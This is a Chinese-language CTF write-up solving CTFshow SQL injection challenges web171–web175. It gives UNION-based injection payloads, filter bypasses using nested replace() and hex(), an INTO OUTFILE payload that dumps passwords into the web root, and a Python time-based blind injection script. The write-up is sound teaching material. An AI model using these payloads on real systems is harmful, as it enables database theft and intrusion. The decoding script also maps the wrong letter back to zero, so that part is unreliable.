ctfshow-web入门-sql注入-SELECT模块

yoo2i / 2023-08-17 / 原文

title: ctfshow-web入门-sql注入-SELECT模块
date: 2023-08-13 22:06:17
categories: web刷题记录
description: web171~web172

基础知识缺乏的推荐看我的sqli-labs系列

web171

单引号包裹,思路很简单。

先看多少列

1' ORDER BY 3--+ 确定三列

查看回显

1' UNION SELECT 1,2,3--+

查看当前库

1' UNION SELECT 1,2,database()--+

再看看库里有啥表

1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='ctfshow_web'--+

根据题目提示发现username就是flag,直接查

1' UNION SELECT 1,2,password FROM ctfshow_web.ctfshow_user WHERE username='flag'--+

拿到flag。

提醒一点,union联合查询两个句子是并集关系,不用担心互相影响。

web172

和171不同的地方在于对返回值的username字段进行了过滤。直接暴库可以得到全部数据,具体参见我的sqli-labs-1-10总结,这里尝试绕过它的过滤。

1' UNION SELECT id,password FROM ctfshow_web.ctfshow_user2 WHERE username='flag'--+

成功绕过。

1' UNION SELECT 1,(SELECT password FROM ctfshow_web.ctfshow_user2 WHERE username='flag')--+

这样也可。

归根结底就是让结果不包含username==flag。

web173

对所有包含flag的返回值进行了过滤

所以我们直接看所有password就能看到flag

web174

和以前不同的是,不仅仅对flag字段做了过滤,还对数字做了过滤。所以我们要想办法将flag中的数字替换成其他有规律的字符。

说到了替换,引入replace('a1c','1','x')这个函数,代表在a1c中搜索1并将1替换成x。

在引入hex()函数,将参数转化成16进制的值,同时字母都是大写

9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','l'),'a' from ctfshow_user4 where username='flag'--+

这样我们就把密码字段先尽兴了16进制编码然后替换了其中的0~9。

接着我们进行解码,先把0-9找回来,python脚本如下

nb='yeuryyueyiyFuuuByreyeoyryqyeeoeewDeweyyqeewDeryqeqewwDyqyyyeyrwDyeyteeyyyqeweieoeeeweyetuD'
#nb表示number
nb=nb.replace('q','1')
nb=nb.replace('w','2')
nb=nb.replace('e','3')
nb=nb.replace('r','4')
nb=nb.replace('t','5')
nb=nb.replace('y','6')
nb=nb.replace('u','7')
nb=nb.replace('i','8')
nb=nb.replace('o','9')
nb=nb.replace('p','0')
print(nb)

将结果进行16进制解码就是答案。

web175

由于过滤了ascii码值从0到127的值,所以我们很难绕过了。于是换个思路,将所有密码写进网站的一个文件试试

' union select 1,2,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

然后访问url/1.txt

就可看到密码咯。

或者也可以使用时间盲注脚本

import requests

url = "http://eb0921ff-21eb-40b5-aedd-6f05fd0dd784.challenge.ctf.show/api/v5.php/"
flag = ""
i = 0

while True:
    i = i + 1
    left = 32 #空格
    right = 127 #最后可见字符
    while left < right:
        mid = (left + right) // 2
        payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
        try:
            res = requests.get(url=url + payload, timeout=1.5)
            right = mid
        except Exception as e:
            left = mid + 1

    if left != 32:
        flag += chr(left)
        print(flag)
    else:
        break